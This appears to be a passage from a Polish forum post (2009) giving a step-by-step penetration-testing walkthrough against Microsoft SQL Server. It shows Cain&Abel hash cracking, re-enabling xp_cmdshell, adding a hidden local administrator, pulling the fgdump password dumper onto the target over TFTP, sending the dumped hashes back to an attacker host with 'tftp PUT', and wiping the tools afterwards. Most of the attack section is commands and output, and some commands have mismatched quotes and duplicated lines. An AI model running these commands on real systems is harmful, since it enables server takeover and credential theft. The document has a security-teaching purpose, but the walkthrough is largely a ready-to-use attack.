Teraz, gdy wartości hashy zostały wprowadzone, można wybrać konkretne hashe lub wszystkie. Następnie po wybraniu ich kliknąć prawym przyciskiem myszy i wybrać atak słownikowy lub też metodę Brute Force. W tym przykładzie, wykonany zostanie atak Brute Force.

Rysunek 2. Hashe wprowadzone do programu Cain&Abel
(http://www.lublin.ap.gov.pl/gsgalezowski/sql3.JPG) 

Wyniki ataku słownikowego są wyświetlane w oknie dialogowym Dictionary Attack, tak jak
na Rysunku 3.

Rysunek 3. Atak słownikowy na instancję Microsoft SQL Server 2005
(http://www.lublin.ap.gov.pl/gsgalezowski/sql4.JPG)
 
Analiza bazy danych
Innym doskonałym narzędziem, które jest częścią SQLAT jest sqlanlz. Sqlanlz tworzy on raporty w formacie HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur przechowywanych w SQL Server (Listing 17).
Listing 16. Uruchomienie programu Sqlanlz i przekierowanie wyjścia do pliku HTML
gsg ~ # sqlanlz

   SQLANLZ v1.1.0 by patrik@cqure.net
       -----------------------------------------------
   sqlanlz

      -i* <ip|ipfile>
      -t port (default 1433)
      -u username (default sa)
      -p password
      -l logging
      -v verbose

gsg ~ # sqlanlz -i 10.0.0.212 -t 1433 -u sa -p "" > sqlanlz-mssql2000.html
gsg ~ # sqlanlz -i 10.0.0.213 -t 1433 -u sa -p grzegorz > sqlanlz-mssql2005.html
Uzyskanie dostępu do systemu operacyjnego
Gdy możliwe jest posługiwanie się uprawnieniami administratora Microsoft SQL Server 2000 można uzyskać dostęp do lokalnego administratora systemu operacyjnego za pomocą xp_cmdshell., co pozwala na wydawanie poleceń z SQL Server bezpośrednio do systemu MS Windows za pomocą poleceń T-SQL.
Dla bezpieczeństwa należy zatem pamiętać, by administrator wyłączył xp_cmdshell na Microsoft SQL Server 2000, w przypadku Microsoft SQL Server 2005 ta opcja jest domyślnie wyłączona. Poniższy kod przywróci działanie opcji xp_cmdshell gdy została wyłączona z sp_dropextendedproc:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
Listing 17.Włączenie xp_cmdshell w Microsoft SQL Server 2005
   
EXEC master..sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC master..sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC master..sp_configure 'show advanced options', 0
SQL Auditing Tools (SQLAT) - SQLExec (sqlquery) - Using "xp_cmdshell" to add a
local administrator account call "nsa".
Add the user "nsa" with the password "Pa$$w0rd!":

Dodawanie użytkownika nsa do lokalnej grupy administratorów, jak pokazano na Listingu 18.

Listing 18. Dodanie użytkownika nsa do lokalnej grupy administratorów
gsg ~ # sqlquery

SQLExec v1.1.0 by patrik@cqure.net
       ---------------------------------------------
   sqluery [options]

      -i* <ipaddress>
      -t port (default 1433)
      -q <query> (if ommited execute interactive mode)
      -u username
      -p password
gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net user nsa Pa$$w0rd! /add'"
SQLExec v1.1.0 by patrik@cquire.net
-------------------------------------------------------
output
The command completed successfully.
The command completed successfully.
The command completed successfully.

Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy administratorów (Listing 19).

Listing 19 Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy Administratorzy
gsg ~ # sqlquery

SQLExec v1.1.0 by patrik@cqure.net
       ---------------------------------------------
   sqluery [options]

      -i* <ipaddress>
      -t port (default 1433)
      -q <query> (if ommited execute interactive mode)
      -u username
      -p password

gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net localgroup administrators'"
SQLExec v1.1.0 by patrik@cqure.net
........................................................
output
Alias name   administrators
Comment   Administrators have complete and unrestricted access to the computer/domain
Comment   Administrators have complete and unrestricted access to the computer/domain
Members
Members
...
Administrator
Nsa
The command completed successfully.
The command completed successfully.
The command completed successfully.

W tym przykładzie użyty zostanie demon protokołu TFT w celu przeniesienia plików do i z programu Microsoft SQL Server za pomocą rozszerzonej procedury przechowywanej xp_cmdshell.
Uruchamianie TFTPD:
gsg ~ # /usr/bin/start-tftpd
SQLAT: SQLExec (Sqlquery), TFTP i fgdump.exe
Fgdump (www.foofus.net/fizzgig/fgdump/) to zasadniczo narzędzie do dumpingu haseł w systemie Windows NT/2000/XP/2003/Vista. Posiada wszystkie funkcje programu pwdump. Aby zacząć z nim pracę trzeba pobrać program, następnie zdekompresować go, a na końcu skopiować fgdump.exe do katalogu domowego demona tftpd, jak to pokazano na Listingu 20.

Listing 20. Ściąganie, rozpakowywanie i kopiowanie programu fgdump.exe

gsg ~ # wget -q http://swamp.foofus.net/fizzgig/fgdump/fgdump-1.6.0-exeonly.tar.bz2
gsg ~ # tar jxvf ./fgdump-1.6.0-exeonly.tar.bz2
Release/fgdump.exe
gsg ~ # cp ./Release/fgdump.exe /tmp/
gsg ~ #

Listing 23. Tworzenie katalogu o nazwie c:\tools na Microsoft SQL Server
gsg ~ # sqlquery

SQLExec v1.1.0 by patrik@cqure.net
       ---------------------------------------------
   sqluery [options]

      -i* <ipaddress>
      -t port (default 1433)
      -q <query> (if ommited execute interactive mode)
      -u username
      -p password

gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell "mkdir c:\tools'" -u sa -p'"
SQLExec v1.1.0 by patrik@cqure.net
------------------------------------------------
output

Zmiana katalogu na c:\tools, przy użyciu klienta TFTP Microsoft SQL Server ? pierwszym krokiem jest pobieranie fgdump.exe a następnie uruchomienie go, jak pokazano na Listingu 21.

Listing 21. Uruchomienie aplikacji fgdump.exe
gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'cd c:\tools && tftp -i 10.0.0.120 GET fgdump.exe'" -u sa -p'"
SQLExec v1.1.0 by patrik@cqure.net
------------------------------------------------------
output
Transfer successful: 552960 bytes in 1 second 552960 bytes/s
Transfer successful: 552960 bytes in 1 second 552960 bytes/s

gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master.xp_cmdshell 'c:\tools\fgdump.exe'" -u sa -p'"
SQLExec v1.1.0 by patrik@cqure.net
------------------------------------------------------
output
fgDump 1.6.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright (c) 2007 fizzgig and foofus.net
Fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
Under certain conditions; see the COPYING and README files for
more information.
more information.
No parameters specified, doing a local dump. Specify -7 it you are looking for help.
Starting dump on 127.0.0.1
Starting dump on 127.0.0.1
**Beginning local dump **
OS (127.0.0.1): Microsoft Windows 2003 Server
Passwords dumped successfully
Cache dumped successfully
Cache dumped successfully
--------Summary-------------
--------Summary-------------
Failed servers:
NONE
NONE
Successful servers:
127.0.0.1
127.0.0.1
Total failed: 0
Total successful: 1
Total successful: 1

Za pomocą klienta TFTP można pobrać hashe, tak jak to ilustruje Listing 22.

Listing 22. Procedura pobierania hashy z wykorzystaniem tftp.
gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i 10.0.0.120 PUT c:\tools\127.0.0.1.pwdump'" -u sa -p ""
SQLExec v1.1.0 by patrik@cqure.net
------------------------------------------------------
output
Transfer successful: 616 bytes in 1 second 616 bytes/s
Transfer successful: 616 bytes in 1 second 616 bytes/s

gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i 10.0.0.120 PUT c:\tools\127.0.01.cachedump'" -u sa -p ""
SQLEXEC v1.1.0 by patrik@cqure.net
---------------------------------------------------------
output
Transfer successful: 216 bytes in 1 second 216 bytes/s
Transfer successful: 216 bytes in 1 second 216 bytes/s'

gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'rd /s /q c:\tools'" -u sa -p '"
SQLExec v1.1.0 by patrik@cqure.net
------------------------------------------------------
output

Po pobraniu hash'y systemu Windows, hasła można złamać za pomocą tęczowych tablic.
Tablice można pobrać ze stron www.freerainbowtables.com/ lub http://rainbowtables.shmoo.com/.
Podsumowanie
Przeanalizowaliśmy krok po kroku, jak można dokonać analizy systemu bazodanowego i przeprowadzić skuteczny atak. Informacje zaprezentowane w przykładach posłużyły do zebrania cennych informacji służących do wykrywania luk w naszym systemie.
Włamywacz musi zebrać jak najwięcej informacji o potencjalnej ofierze, aby atak sieciowy na bazę danych powiódł się, Intruzi próbują dowiedzieć się jak najwięcej o zdalnej maszynie i w tym celu skanują jej porty oraz badają, jaki system operacyjny na niej działa.
Może się nam teraz nasuwać pytanie: jak skutecznie uniemożliwić lub utrudnić włamanie do zarządzanego przez nas systemu? Niestety nie ma na to dobrego i jednoznacznego przepisu. Przede wszystkim należy postępować uważnie przy konfiguracji systemu. Trzeba też podchodzić do tego zagadnienia z pokorą, czyli przede wszystkim nie należy sądzić, że jest się najlepszym na świecie administratorem. Należy wiedzieć bowiem, że zawsze znajdzie się ktoś lepszy i wykorzysta nasze błędy przeciwko nam. Nie można ufać także bezgranicznie konkretnemu rozwiązaniu czy też systemowi. Każdy system ma błędy i to że używamy systemy otwarte nie oznacza że będziemy odporni na ataki.
Niestety nawet ściana ogniowa nie zabezpieczy naszej bazy danych przed atakiem. Wszelkiego rodzaju zabezpieczenia mają utrudnić atak poprzez zablokowanie automatycznych prób włamania, zniechęcenie atakujących i ukrycie słabych punktów systemu. Nie zagwarantują jednak jego bezpieczeństwa. Mogą natomiast wydłużyć czas potrzebny na sforsowanie wszystkich zabezpieczeń. Najważniejszą dla nas informacją powinno być już to, że ktoś interesuje się na poważnie naszym systemem.

Tytuł: Odp: Bezpieczeństwo baz danych
Wiadomość wysłana przez: Rafał Rufus Magryś w Czerwiec 24, 2009,
Tak my prosimy Postgresa :)


Pozdrawiam,
Tytuł: Bezpieczeństwo baz danych dodatkowy materiał
Wiadomość wysłana przez: Grzegorz Gałęzowski w Sierpień 23, 2009,
Poniżej ten sam tekst, ale w bardziej czytelnej wersji jako plik pdf.

http://rapidshare.com/files/270441587/Testpenetracyjny.pdf.html